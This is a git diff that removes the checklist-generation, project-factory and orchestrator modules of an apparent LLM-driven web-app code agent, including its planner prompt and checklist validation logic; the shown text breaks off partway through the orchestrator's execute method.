-class ProjectState: - """Current state of the project for context.""" - - exists: bool = False - has_package_json: bool = False - has_prisma: bool = False - has_next_config: bool = False - existing_models: List[str] = field(default_factory=list) - existing_routes: List[str] = field(default_factory=list) - existing_pages: List[str] = field(default_factory=list) - - def to_prompt(self) -> str: - """Generate prompt-friendly description of project state.""" - if not self.exists: - return "Project does not exist yet - will be created fresh." - - lines = ["Current project state:"] - - if self.has_package_json: - lines.append("- ✓ package.json exists (Node.js project)") - if self.has_next_config: - lines.append("- ✓ next.config.ts exists (Next.js configured)") - if self.has_prisma: - lines.append("- ✓ Prisma configured") - if self.existing_models: - lines.append(f" - Models: {', '.join(self.existing_models)}") - - if self.existing_routes: - lines.append(f"- Existing API routes: {', '.join(self.existing_routes)}") - - if self.existing_pages: - lines.append(f"- Existing pages: {', '.join(self.existing_pages)}") - - return "\n".join(lines) - - -CHECKLIST_SYSTEM_PROMPT = """You are a code generation planner. Your task is to analyze the user's request and generate a checklist of template invocations that will create the requested application. - -{catalog_prompt} - -## Instructions - -1. Analyze the user's request carefully -2. Consider what the user ACTUALLY wants (semantic understanding) -3. Select templates that will fulfill the request -4. Add semantic enhancements based on the request type: - - For "todo" apps: add checkboxes for completion status - - For "blog" apps: add date fields for posts - - For "e-commerce": add price, inventory fields -5. Ensure dependencies are satisfied (run setup before data, data before API, API before UI) -6. Generate a complete checklist that creates a working application -7. When follow-up fixes are requested, use `fix_code` to repair the specific files called out by validation/test logs. Extract the precise file paths and line numbers from the errors (see the Raw Validation Logs) and pass those line numbers inside the error description so the fixer knows exactly where to focus. Always reference the latest findings to decide which fixes to schedule before running validations again. -8. If the user explicitly requests an additional UI artifact (countdown display, stats badge, etc.), schedule a `generate_react_component` step with the appropriate `artifact-*` variant (e.g., `"artifact-timer"`) and a descriptive `component_name`. Keep the artifact's logic inside that client component—server components like `page.tsx` should only render the artifact and pass any required props. -9. **Route pairing requirement:** Whenever you schedule `{{"template": "generate_api_route", "params": {{"type": "collection", ...}}}}`, you MUST also include a matching `generate_api_route` item with `"type": "item"` for the same resource so detail pages can call `/api//[id]`. - -This workflow repeats until all validations pass, so each checklist should either advance new functionality or explicitly repair the failures reported in the latest validation logs. - -## IMPORTANT: Complete CRUD Applications - -For any app that manages resources (todos, posts, users, etc.), you MUST generate ALL of these UI components: - -1. **Form component** (variant: "form") - Reusable form for create (generate this first so other pages can import it) -2. **Artifact components** (variant: "artifact-*") - Any additional UI artifacts requested by the user (e.g., countdown display, stats badge). Generate these before any page that consumes them. -3. **New page** (variant: "new") - Create new item at /resources/new -4. **Edit page** (variant: "detail") - Edit single item at /resources/[id] with pre-populated form -5. **List page** (variant: "list") - Main page showing all items at /resources - -Missing any of the required components (form, new, detail, list) will result in broken navigation! When artifacts are requested, they must also be generated or the UI will be incomplete. - -## REQUIRED: Setup and Validation Commands - -**CRITICAL**: The following commands are REQUIRED for a valid plan: - -1. **setup_app_styling** MUST be included after creating the application (after `create_next_app`). This configures app-wide styling with modern dark theme design system. - -2. **setup_testing** MUST be included after `setup_app_styling`. This sets up the testing infrastructure. - -3. **generate_style_tests** MUST be included after `setup_testing`. This generates CSS integrity tests that validate the design system. - -4. **The final 2 commands MUST be in this exact order:** - - Second-to-last: `run_typescript_check` (validates TypeScript compilation) - - Last: `validate_styles` (validates CSS files and design system) - -These setup and validation commands are mandatory - a plan without them is INVALID. - -## Output Format - -Respond with ONLY a JSON object (no markdown code blocks): -{{ - "reasoning": "Brief explanation of your approach and any semantic enhancements", - "checklist": [ - {{"template": "template_name", "params": {{}}, "description": "Why this step is needed"}} - ] -}} - -Important: -- Use exact template names from the catalog -- Provide all required parameters -- Order items by dependency (setup first, then data, then API, then UI) -- REQUIRED ordering for `generate_react_component`: emit all non-`list` variants (form, new, detail, actions, artifact-*) before the `variant: "list"` call so the list can import previously generated components -- Add semantic enhancements that make the app intuitive (e.g., checkboxes for todos) -- For CRUD apps, ALWAYS include all 4 UI variants: list, form, new, detail -- REQUIRED: Include `setup_app_styling` after `create_next_app` -- REQUIRED: Include `setup_testing` after `setup_app_styling` -- REQUIRED: Include `generate_style_tests` after `setup_testing` -- REQUIRED: End with `run_typescript_check`, then `validate_styles` as the last 2 commands -- When converting a raw validation error into `fix_code`, copy the exact snippet (file, line, column, and message). For example: - - Raw Validation Logs (example): - ``` - {{"template": "run_typescript_check", "output": {{"errors": "path/to/File.tsx(10,5): error TS1234: \\n"}}}} - ``` - - Corresponding checklist item: - ``` - {{ - "template": "fix_code", - "params": {{ - "file_path": "path/to/File.tsx", - "error_description": "path/to/File.tsx(10,5): error TS1234: " - }}, - "description": "Fix the TypeScript compiler error reported for File.tsx." - }} - ``` - Always keep the error text verbatim so the fixer knows exactly where to edit.""" - - -class ChecklistGenerator: - """Generate execution checklist using LLM. - - The generator sends the user request, project state, and template - catalog to an LLM, which returns a structured checklist of template - invocations. - """ - - def __init__(self, chat_sdk: AgentSDK): - """Initialize the checklist generator. - - Args: - chat_sdk: Chat SDK instance for LLM communication - """ - self.chat = chat_sdk - - def generate_initial_checklist( - self, - context: UserContext, - project_state: Optional[ProjectState] = None, - ) -> GeneratedChecklist: - """Generate the initial project-scaffolding checklist.""" - if project_state is None: - project_state = ProjectState() - - system_prompt = CHECKLIST_SYSTEM_PROMPT.format( - catalog_prompt=get_catalog_prompt() - ) - user_prompt = self._build_initial_prompt(context, project_state) - full_prompt = f"{system_prompt}\n\n## User Request\n\n{user_prompt}" - return self._generate_from_prompt(full_prompt) - - def generate_debug_checklist( - self, - context: UserContext, - project_state: Optional[ProjectState], - prior_errors: Optional[List[str]], - validation_logs: Optional[List[Any]], - ) -> GeneratedChecklist: - """Generate a remediation checklist to fix outstanding errors.""" - if project_state is None: - project_state = ProjectState() - - debug_prompt = self._build_debug_prompt( - context=context, - project_state=project_state, - prior_errors=prior_errors or [], - validation_logs=validation_logs or [], - ) - system_prompt = CHECKLIST_SYSTEM_PROMPT.format( - catalog_prompt=get_catalog_prompt() - ) - full_prompt = f"{system_prompt}\n\n## Remediation Context\n\n{debug_prompt}" - return self._generate_from_prompt(full_prompt) - - def _generate_from_prompt(self, full_prompt: str) -> GeneratedChecklist: - """Common checklist generation logic with retries.""" - logger.debug("Generating checklist with LLM...") - logger.debug(f"Checklist prompt: {full_prompt}") - - max_attempts = 3 - last_failure_reason = "unknown error" - - for attempt in range(1, max_attempts + 1): - try: - response = self.chat.send(full_prompt, timeout=1200) - - response_text = self._extract_response_text(response) - - logger.debug(f"LLM response (attempt {attempt}): {response_text}") - - checklist = self._parse_checklist(response_text) - except Exception as exc: # pylint: disable=broad-exception-caught - last_failure_reason = str(exc) - logger.warning( - "Checklist generation attempt %d/%d failed: %s", - attempt, - max_attempts, - exc, - ) - continue - - if not checklist.items: - last_failure_reason = "LLM returned an empty checklist" - logger.warning( - "Checklist generation attempt %d/%d returned no items, retrying...", - attempt, - max_attempts, - ) - continue - - self._validate_checklist(checklist) - if checklist.validation_errors: - last_failure_reason = "; ".join(checklist.validation_errors) - logger.warning( - "Checklist generation attempt %d/%d failed validation: %s", - attempt, - max_attempts, - checklist.validation_errors, - ) - continue - - logger.debug( - "Generated checklist with %d items on attempt %d", - len(checklist.items), - attempt, - ) - return checklist - - raise RuntimeError( - f"Failed to generate a valid checklist after {max_attempts} attempts: " - f"{last_failure_reason}" - ) - - def _build_initial_prompt( - self, - context: UserContext, - project_state: ProjectState, - ) -> str: - """Build the user prompt with all context. - - Args: - context: User context - project_state: Current project state - - Returns: - Formatted user prompt string - """ - lines = [f"**User Request**: {context.user_request}"] - - if context.entity_name: - lines.append(f"\n**Inferred Entity**: {context.entity_name}") - - if context.schema_fields: - lines.append(f"\n**Inferred Fields**: {json.dumps(context.schema_fields)}") - - lines.append(f"\n**Project Directory**: {context.project_dir}") - lines.append(f"\n**Language**: {context.language}") - lines.append(f"\n**Project Type**: {context.project_type}") - - lines.append(f"\n{project_state.to_prompt()}") - - if context.fix_feedback: - lines.append("\n**Outstanding Fix Requests**:") - for note in context.fix_feedback[-5:]: - lines.append(f"- {note}") - - if context.validation_reports: - lines.append("\n**Recent Validation/Test Findings**:") - for log in context.validation_reports[-5:]: - status = "PASS" if log.get("success", True) else "FAIL" - template = log.get("template", "validation_step") - description = log.get("description", "") - lines.append(f"- [{status}] {template}: {description}") - if log.get("error"): - lines.append(f" Error: {log['error']}") - - output = log.get("output", {}) - snippet = "" - if isinstance(output, dict): - for key in ("stdout", "stderr", "message", "details"): - if output.get(key): - snippet = str(output[key])[:200] - break - if not snippet and output: - snippet = json.dumps(output)[:200] - elif output: - snippet = str(output)[:200] - if snippet: - lines.append(f" Output: {snippet}") - - lines.append("\nGenerate a checklist to fulfill this request.") - - return "\n".join(lines) - - def _build_debug_prompt( - self, - context: UserContext, - project_state: ProjectState, - prior_errors: List[str], - validation_logs: List[Any], - ) -> str: - """Build prompt for remediation/debug checklists.""" - lines = [ - "You are a remediation planner for the GAIA web development agent. " - "The project has already been scaffolded; focus exclusively on fixing outstanding issues." - ] - lines.append(f"\n**User Request**: {context.user_request}") - lines.append(f"\n**Project Directory**: {context.project_dir}") - - if context.entity_name: - lines.append(f"\n**Entity**: {context.entity_name}") - if context.schema_fields: - lines.append(f"\n**Schema Fields**: {json.dumps(context.schema_fields)}") - - lines.append(f"\n{project_state.to_prompt()}") - - if prior_errors: - lines.append("\n**Execution Errors From Last Attempt:**") - for err in prior_errors: - lines.append(f"- {err}") - - if validation_logs: - lines.append("\n**Recent Validation/Test Results:**") - raw_entries = [] - for log in validation_logs[-10:]: - entry = log.to_dict() if hasattr(log, "to_dict") else log - template = entry.get("template", "unknown_step") - success = entry.get("success", True) - desc = entry.get("description", "") - status = "PASS" if success else "FAIL" - lines.append(f"- [{status}] {template}: {desc}") - if entry.get("error"): - lines.append(f" Error: {entry['error']}") - output = entry.get("output") or {} - for key in ("stdout", "stderr", "details", "message"): - if output.get(key): - snippet = str(output[key])[:200] - lines.append(f" Output: {snippet}") - break - raw_entries.append(entry) - - if raw_entries: - lines.append( - "\n**Raw Validation Logs (exact text for follow-up fixes):**" - ) - for entry in raw_entries: - lines.append(json.dumps(entry, ensure_ascii=False)) - - if context.fix_feedback: - lines.append("\n**Outstanding Fix Instructions:**") - for note in context.fix_feedback[-10:]: - lines.append(f"- {note}") - - lines.append( - "\nYour job: draft a concise checklist that repairs the errors above, " - "regenerates any broken code, and re-runs critical validations." - ) - lines.append( - "\n**Critical Requirements for Debug Checklists:**\n" - "1. Use `fix_code` to repair the specific files referenced in the failures above.\n" - "2. Re-run any validations or tests that previously failed once fixes are applied.\n" - "3. Always include `run_typescript_check` as the second-to-last command to capture current compiler errors.\n" - "4. Always include `validate_styles` as the final command to capture CSS/design regressions." - ) - - return "\n".join(lines) - - def _extract_response_text(self, response: Any) -> str: - """Extract text from LLM response. - - Handles different response formats from various SDKs. - - Args: - response: Response from chat SDK - - Returns: - Response text string - """ - if isinstance(response, str): - return response - - # Handle response objects with text attribute - if hasattr(response, "text"): - return response.text # type: ignore[no-any-return] - - # Handle response objects with content attribute - if hasattr(response, "content"): - return response.content # type: ignore[no-any-return] - - # Handle dict-like responses - if isinstance(response, dict): - return response.get("text", response.get("content", str(response))) # type: ignore[return-value] - - return str(response) - - def _parse_checklist(self, response_text: str) -> GeneratedChecklist: - """Parse LLM response into GeneratedChecklist. - - Args: - response_text: Raw LLM response text - - Returns: - Parsed GeneratedChecklist - """ - try: - # Try to extract JSON from the response - json_str = self._extract_json(response_text) - - data = json.loads(json_str) - - # Parse items - items = [] - for item_data in data.get("checklist", []): - item = ChecklistItem( - template=item_data.get("template", ""), - params=item_data.get("params", {}), - description=item_data.get("description", ""), - ) - items.append(item) - - return GeneratedChecklist( - items=items, - reasoning=data.get("reasoning", ""), - raw_response=response_text, - ) - - except json.JSONDecodeError as e: - logger.error(f"Failed to parse checklist JSON: {e}") - return GeneratedChecklist( - items=[], - reasoning="", - raw_response=response_text, - validation_errors=[f"Failed to parse JSON: {str(e)}"], - ) - - def _extract_json(self, text: str) -> str: - """Extract JSON from text that might contain markdown or other content. - - Args: - text: Text that may contain JSON - - Returns: - Extracted JSON string - """ - # Try to find JSON in markdown code block - code_block_match = re.search(r"```(?:json)?\s*\n?(.*?)\n?```", text, re.DOTALL) - if code_block_match: - return code_block_match.group(1).strip() - - # Try to find raw JSON object - json_match = re.search(r"\{.*\}", text, re.DOTALL) - if json_match: - return json_match.group(0) - - # Return as-is and let JSON parser handle it - return text.strip() - - def _validate_checklist(self, checklist: GeneratedChecklist) -> None: - """Validate checklist items against template definitions. - - Adds validation errors to the checklist if any are found. - - Args: - checklist: Checklist to validate (modified in place) - """ - for item in checklist.items: - errors = validate_checklist_item(item.template, item.params) - checklist.validation_errors.extend(errors) - - # Check for duplicate templates (some are ok, like multiple API routes) - seen_templates = {} - for item in checklist.items: - key = f"{item.template}:{json.dumps(item.params, sort_keys=True)}" - if key in seen_templates: - checklist.validation_errors.append( - f"Duplicate checklist item: {item.template} with same params" - ) - seen_templates[key] = True - - # Validate required setup: setup_app_styling must come after create_next_app - create_app_index = None - setup_styling_index = None - setup_testing_index = None - for i, item in enumerate(checklist.items): - if item.template == "create_next_app": - create_app_index = i - if item.template == "setup_app_styling": - setup_styling_index = i - if item.template == "setup_testing": - setup_testing_index = i - - if create_app_index is not None: - if setup_styling_index is None: - checklist.validation_errors.append( - "REQUIRED: 'setup_app_styling' must be included after 'create_next_app'" - ) - elif setup_styling_index <= create_app_index: - checklist.validation_errors.append( - "REQUIRED: 'setup_app_styling' must come after 'create_next_app' in the checklist" - ) - - # Validate required testing setup: setup_testing must come after setup_app_styling - if setup_styling_index is not None: - if setup_testing_index is None: - checklist.validation_errors.append( - "REQUIRED: 'setup_testing' must be included after 'setup_app_styling'" - ) - elif setup_testing_index <= setup_styling_index: - checklist.validation_errors.append( - "REQUIRED: 'setup_testing' must come after 'setup_app_styling' in the checklist" - ) - - # Validate required final validation commands: run_typescript_check, validate_styles - if len(checklist.items) < 2: - checklist.validation_errors.append( - "REQUIRED: Checklist must end with 'run_typescript_check', " - "'validate_styles' as the last two commands" - ) - else: - last_item = checklist.items[-1] - second_last_item = checklist.items[-2] - - if last_item.template != "validate_styles": - checklist.validation_errors.append( - "REQUIRED: The last command must be 'validate_styles'" - ) - if second_last_item.template != "run_typescript_check": - checklist.validation_errors.append( - "REQUIRED: The second-to-last command must be 'run_typescript_check'" - ) - - # Validate generate_style_tests is included (after setup_testing) - generate_style_tests_index = None - for i, item in enumerate(checklist.items): - if item.template == "generate_style_tests": - generate_style_tests_index = i - - if setup_testing_index is not None and generate_style_tests_index is None: - checklist.validation_errors.append( - "REQUIRED: 'generate_style_tests' must be included after 'setup_testing'" - ) - elif ( - generate_style_tests_index is not None - and setup_testing_index is not None - and generate_style_tests_index <= setup_testing_index - ): - checklist.validation_errors.append( - "REQUIRED: 'generate_style_tests' must come after 'setup_testing'" - ) - - if checklist.validation_errors: - logger.warning( - f"Checklist validation errors: {checklist.validation_errors}" - ) - - -def create_checklist_from_workflow( - workflow_phases: List[Any], - context: UserContext, -) -> GeneratedChecklist: - """Create a checklist from existing workflow phases (for comparison/testing). - - This converts the old step-based workflow into the new checklist format, - useful for testing and migration. - - Args: - workflow_phases: List of WorkflowPhase objects from factory - context: User context - - Returns: - GeneratedChecklist representing the workflow - """ - items = [] - - for phase in workflow_phases: - for step in phase.steps: - # Map step names to template names - template_map = { - "create_next_app": "create_next_app", - "setup_styling": "setup_app_styling", - "install_deps": "setup_prisma", - "setup_testing": "setup_testing", - "prisma_init": "setup_prisma", - "setup_prisma": "setup_prisma", - "manage_data_model": "generate_prisma_model", - "manage_api_endpoint": "generate_api_route", - "manage_api_endpoint_dynamic": "generate_api_route", - "manage_react_component": "generate_react_component", - "update_landing_page": "update_landing_page", - "validate_typescript": "run_typescript_check", - "validate_crud_structure": "run_typescript_check", - "test_crud_api": "run_typescript_check", - } - - template_name = template_map.get(step.name, step.name) - - # Extract params from step - params = {} - if hasattr(step, "get_tool_invocation"): - invocation = step.get_tool_invocation(context) - if invocation: - _, step_params = invocation - params = { - k: v for k, v in step_params.items() if k != "project_dir" - } - - items.append( - ChecklistItem( - template=template_name, - params=params, - description=step.description, - ) - ) - - return GeneratedChecklist( - items=items, - reasoning="Converted from existing workflow", - ) diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/factories/__init__.py b/hub/agents/code/python/gaia_agent_code/orchestration/factories/__init__.py deleted file mode 100644 index a4108a2da..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/factories/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Factory implementations for workflow creation.""" - -from .base import ProjectFactory -from .nextjs_factory import NextJSFactory -from .python_factory import PythonFactory - -__all__ = ["ProjectFactory", "NextJSFactory", "PythonFactory"] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/factories/base.py b/hub/agents/code/python/gaia_agent_code/orchestration/factories/base.py deleted file mode 100644 index 28a490698..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/factories/base.py +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Base factory for creating project workflows. - -Factories define project-specific step sequences and configurations. -""" - -from abc import ABC, abstractmethod -from typing import List, Optional - -from ..steps.base import UserContext -from ..workflows.base import WorkflowPhase - - -class ProjectFactory(ABC): - """Abstract factory for creating project-specific workflows. - - Subclasses implement create_workflow() to return phases appropriate - for their project type (Next.js, Python, etc.). - """ - - @property - @abstractmethod - def project_type(self) -> str: - """Return the project type this factory handles.""" - - @abstractmethod - def create_workflow(self, context: UserContext) -> List[WorkflowPhase]: - """Create workflow phases for the given context. - - Args: - context: User context with request details and accumulated state - - Returns: - List of WorkflowPhases to execute in order - """ - - @abstractmethod - def detect_project(self, project_dir: str) -> bool: - """Check if this factory should handle the given project. - - Args: - project_dir: Path to project directory - - Returns: - True if this factory can handle the project - """ - - def get_validation_config(self, phase_name: str) -> Optional[dict]: # noqa: ARG002 - """Get validation configuration for a specific phase. - - Override to customize validation per phase. - - Args: - phase_name: Name of the phase - - Returns: - Dict with validation settings or None for defaults - """ - # Default: no custom config. Subclasses override per phase. - del phase_name # Unused in base class - return None diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/factories/nextjs_factory.py b/hub/agents/code/python/gaia_agent_code/orchestration/factories/nextjs_factory.py deleted file mode 100644 index d02012b67..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/factories/nextjs_factory.py +++ /dev/null @@ -1,118 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Next.js project factory. - -Creates workflow phases for Next.js CRUD applications. -""" - -from pathlib import Path -from typing import List - -from ..steps.base import UserContext -from ..workflows.base import WorkflowPhase -from ..workflows.nextjs import create_nextjs_workflow -from .base import ProjectFactory - - -class NextJSFactory(ProjectFactory): - """Factory for creating Next.js CRUD workflows.""" - - @property - def project_type(self) -> str: - """Return the project type.""" - return "nextjs" - - def detect_project(self, project_dir: str) -> bool: - """Check if this is a Next.js project or should be one. - - Detection logic: - 1. Existing Next.js project: has next.config.* file - 2. Empty directory: can be initialized as Next.js - 3. Has package.json with next dependency - - Args: - project_dir: Path to project directory - - Returns: - True if this factory should handle the project - """ - project_path = Path(project_dir) - - # Check for next.config.js or next.config.mjs - if (project_path / "next.config.js").exists(): - return True - if (project_path / "next.config.mjs").exists(): - return True - if (project_path / "next.config.ts").exists(): - return True - - # Check package.json for next dependency - package_json = project_path / "package.json" - if package_json.exists(): - try: - import json - - data = json.loads(package_json.read_text()) - deps = data.get("dependencies", {}) - dev_deps = data.get("devDependencies", {}) - if "next" in deps or "next" in dev_deps: - return True - except (json.JSONDecodeError, IOError): - # Ignore errors reading/parsing package.json; treat as not a Next.js project - pass - - # Empty directory can be initialized as Next.js - if project_path.exists() and not any(project_path.iterdir()): - return True - - return False - - def create_workflow(self, context: UserContext) -> List[WorkflowPhase]: - """Create Next.js workflow phases. - - Args: - context: User context with request details - - Returns: - List of workflow phases - """ - return create_nextjs_workflow(context) - - def get_validation_config(self, phase_name: str) -> dict: - """Get validation configuration for a phase. - - Args: - phase_name: Name of the phase - - Returns: - Validation configuration dict - """ - configs = { - "initialization": { - "run_lint": False, - "run_typecheck": False, - "run_tests": False, - }, - "data_layer": { - "run_lint": False, - "run_typecheck": True, - "run_tests": False, - }, - "ui_components": { - "run_lint": False, - "run_typecheck": True, - "run_tests": False, - }, - "validation": { - "run_lint": True, - "run_typecheck": True, - "run_tests": True, - }, - "testing": { - "run_lint": False, - "run_typecheck": False, - "run_tests": True, - }, - } - return configs.get(phase_name, {}) diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/factories/python_factory.py b/hub/agents/code/python/gaia_agent_code/orchestration/factories/python_factory.py deleted file mode 100644 index c8ade3a01..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/factories/python_factory.py +++ /dev/null @@ -1,106 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Python project factory. - -Creates workflow phases for Python applications. -""" - -from pathlib import Path -from typing import Any, Dict, List, cast - -from ..steps.base import UserContext -from ..workflows.base import WorkflowPhase -from ..workflows.python import create_python_workflow -from .base import ProjectFactory - - -class PythonFactory(ProjectFactory): - """Factory for creating Python development workflows.""" - - @property - def project_type(self) -> str: - """Return the project type.""" - return "python" - - def detect_project(self, project_dir: str) -> bool: - """Check if this is a Python project or should be one. - - Detection logic: - 1. Existing Python project: has setup.py, pyproject.toml, or requirements.txt - 2. Has .py files - 3. Empty directory: default to Python - - Args: - project_dir: Path to project directory - - Returns: - True if this factory should handle the project - """ - project_path = Path(project_dir) - - # Check for Python project markers - if (project_path / "setup.py").exists(): - return True - if (project_path / "pyproject.toml").exists(): - return True - if (project_path / "requirements.txt").exists(): - return True - - # Check for .py files - if list(project_path.glob("*.py")): - return True - if list(project_path.glob("**/*.py")): - return True - - # Empty directory defaults to Python (script mode) - if project_path.exists() and not any(project_path.iterdir()): - return True - - return False - - def create_workflow(self, context: UserContext) -> List[WorkflowPhase]: - """Create Python workflow phases. - - Args: - context: User context with request details - - Returns: - List of workflow phases - """ - return create_python_workflow(context) - - def get_validation_config(self, phase_name: str) -> dict: - """Get validation configuration for a phase. - - Args: - phase_name: Name of the phase - - Returns: - Validation configuration dict - """ - configs = { - "creation": { - "run_lint": False, - "run_typecheck": False, - "run_tests": False, - }, - "validation": { - "run_lint": False, - "run_typecheck": False, - "run_tests": False, - }, - "quality": { - "run_lint": True, - "run_typecheck": False, - "run_tests": False, - "lint_command": "pylint", - }, - "testing": { - "run_lint": False, - "run_typecheck": False, - "run_tests": True, - "test_command": "pytest", - }, - } - return cast(Dict[str, Any], configs.get(phase_name, {})) diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/orchestrator.py b/hub/agents/code/python/gaia_agent_code/orchestration/orchestrator.py deleted file mode 100644 index b30171d6f..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/orchestrator.py +++ /dev/null @@ -1,888 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Orchestrator for LLM-driven workflow execution. - -The Orchestrator controls workflow execution using Checklist Mode: -- LLM generates a checklist of template invocations based on user request -- Executor runs templates deterministically with error recovery -- Provides semantic understanding (e.g., adds checkboxes for todos) - -Features: -- LLM-driven checklist generation -- Deterministic template execution -- Error recovery with three-tier strategy -- Progress reporting -""" - -import json -import logging -import os -import re -import subprocess -from dataclasses import dataclass, field -from pathlib import Path -from typing import Any, Callable, Dict, List, Optional, Protocol - -from gaia.agents.base.console import AgentConsole - -from .steps.base import ToolExecutor, UserContext -from .steps.error_handler import ErrorHandler - -logger = logging.getLogger(__name__) - - -class ProjectDirectoryError(Exception): - """Raised when the project directory cannot be prepared safely.""" - - -def _estimate_token_count(text: str) -> int: - """Lightweight token estimate assuming ~4 characters per token.""" - avg_chars_per_token = 4 - byte_length = len(text.encode("utf-8")) - return max(1, (byte_length + avg_chars_per_token - 1) // avg_chars_per_token) - - -class AgentSDK(Protocol): - """Protocol for agent SDK interface used by checklist generator.""" - - def send(self, message: str, timeout: int = 600, no_history: bool = False) -> Any: - """Send a message and get response.""" - ... - - -@dataclass -class ExecutionResult: - """Result of a complete workflow execution.""" - - success: bool - phases_completed: List[str] = field(default_factory=list) - phases_failed: List[str] = field(default_factory=list) - total_steps: int = 0 - steps_succeeded: int = 0 - steps_failed: int = 0 - steps_skipped: int = 0 - errors: List[str] = field(default_factory=list) - outputs: Dict[str, Any] = field(default_factory=dict) - - @property - def summary(self) -> str: - """Get a human-readable summary.""" - status = "SUCCESS" if self.success else "FAILED" - return ( - f"{status}: {self.steps_succeeded}/{self.total_steps} steps completed, " - f"{self.steps_failed} failed, {self.steps_skipped} skipped" - ) - - -CHECKPOINT_REVIEW_PROMPT = """You are the checkpoint reviewer for the GAIA web development agent. - -You receive: -- The original user request -- A summary of the latest checklist execution (including errors/warnings) -- Logs from the validation and testing tools (run_typescript_check, validate_styles, run_tests, etc.) -- Any previously requested fixes that are still outstanding - -Decide if the application is ready to ship or if additional fixes are required. - -Rules: -1. If ANY validation or test log failed, status must be \"needs_fix\" with concrete guidance. -2. Only return \"complete\" when the app works end-to-end and validations passed. -3. When fixes are needed, suggest actionable steps that can be executed through `fix_code` (LLM-assisted repair of problematic files). - -Respond with concise JSON only: -{ - \"status\": \"complete\" | \"needs_fix\", - \"reasoning\": \"short justification\", - \"issues\": [\"list of concrete bugs or failures\"], - \"fix_instructions\": [\"ordered actions the next checklist should perform\"] -} -""" - -MAX_CHAT_HISTORY_TOKENS = 15000 - - -@dataclass -class CheckpointAssessment: - """LLM-produced verdict about the current checkpoint.""" - - status: str - reasoning: str - issues: List[str] = field(default_factory=list) - fix_instructions: List[str] = field(default_factory=list) - - @property - def needs_fix(self) -> bool: - """Return True when the reviewer requires another checklist.""" - return self.status.lower() != "complete" - - def to_dict(self) -> Dict[str, Any]: - """Serialize the assessment.""" - return { - "status": self.status, - "reasoning": self.reasoning, - "issues": self.issues, - "fix_instructions": self.fix_instructions, - } - - -class Orchestrator: - """Controls LLM-driven workflow execution with error recovery. - - The orchestrator uses Checklist Mode exclusively: - - LLM analyzes user request and generates a checklist of templates - - Executor runs templates deterministically - - Provides semantic understanding (e.g., adds checkboxes for todos) - """ - - def __init__( - self, - tool_executor: ToolExecutor, - llm_client: AgentSDK, - llm_fixer: Optional[Callable[[str, str], Optional[str]]] = None, - progress_callback: Optional[Callable[[str, str, int, int], None]] = None, - console: Optional[AgentConsole] = None, - max_checklist_loops: int = 10, - ): - """Initialize orchestrator. - - Args: - tool_executor: Function to execute tools (name, args) -> result - llm_client: Chat SDK for checklist generation (required) - llm_fixer: Optional LLM-based code fixer for escalation - progress_callback: Optional callback(phase, step, current, total) - console: Optional console for displaying output - max_checklist_loops: Max number of checklist iterations before giving up - """ - if llm_client is None: - raise ValueError("llm_client is required for Orchestrator") - - self.tool_executor = tool_executor - self.llm_client = llm_client - self.error_handler = ErrorHandler( - command_executor=self._run_command, - llm_fixer=llm_fixer, - ) - self.progress_callback = progress_callback - self.console = console - self.max_checklist_loops = max(1, max_checklist_loops) - - # Initialize checklist components - from .checklist_executor import ChecklistExecutor - from .checklist_generator import ChecklistGenerator - - self.checklist_generator = ChecklistGenerator(llm_client) - self.checklist_executor = ChecklistExecutor( - tool_executor, - llm_client=llm_client, # Pass LLM for per-item code generation - error_handler=self.error_handler, - progress_callback=self._checklist_progress_callback, - console=console, # Pass console - ) - logger.debug( - "Orchestrator initialized - LLM will plan execution AND generate code per item" - ) - - def execute( - self, context: UserContext, step_through: bool = False - ) -> ExecutionResult: - """Execute the workflow using iterative LLM-generated checklists.""" - logger.debug("Executing workflow (LLM-driven checklist loop)") - - from .project_analyzer import ProjectAnalyzer - - analyzer = ProjectAnalyzer() - aggregated_validation_logs: List[Any] = [] - fix_feedback: List[str] = [] - iteration_outputs: List[Dict[str, Any]] = [] - combined_errors: List[str] = [] - previous_execution_errors: List[str] = [] - previous_validation_logs: List[Any] = [] - - total_steps = 0 - steps_succeeded = 0 - steps_failed = 0 - success = False - - try: - context.project_dir = self._prepare_project_directory(context) - except ProjectDirectoryError as exc: - error_message = str(exc) - logger.error(error_message) - if self.console: - self.console.print_error(error_message) - return ExecutionResult( - success=False, - phases_completed=[], - phases_failed=["project_directory"], - total_steps=1, - steps_succeeded=0, - steps_failed=1, - steps_skipped=0, - errors=[error_message], - outputs={ - "iterations": [], - "validation_logs": [], - "fix_feedback": [], - "project_dir": context.project_dir, - }, - ) - - for iteration in range(1, self.max_checklist_loops + 1): - logger.debug("Starting checklist iteration %d", iteration) - - if iteration > 1: - summary_result = self._maybe_summarize_conversation_history() - if summary_result and self.console: - self.console.print_info( - "Conversation history summarized to stay within token limits." - ) - - project_state = analyzer.analyze(context.project_dir) - - # Surface accumulated signals to the next checklist prompt - context.validation_reports = [ - log.to_dict() for log in aggregated_validation_logs - ] - context.fix_feedback = fix_feedback.copy() - - logger.info( - "Generating checklist iteration %d of %d", - iteration, - self.max_checklist_loops, - ) - if self.console: - self.console.print_info( - f"Generating checklist iteration {iteration} of {self.max_checklist_loops}" - ) - if iteration == 1: - checklist = self.checklist_generator.generate_initial_checklist( - context, project_state - ) - else: - checklist = self.checklist_generator.generate_debug_checklist( - context=context, - project_state=project_state, - prior_errors=previous_execution_errors, - 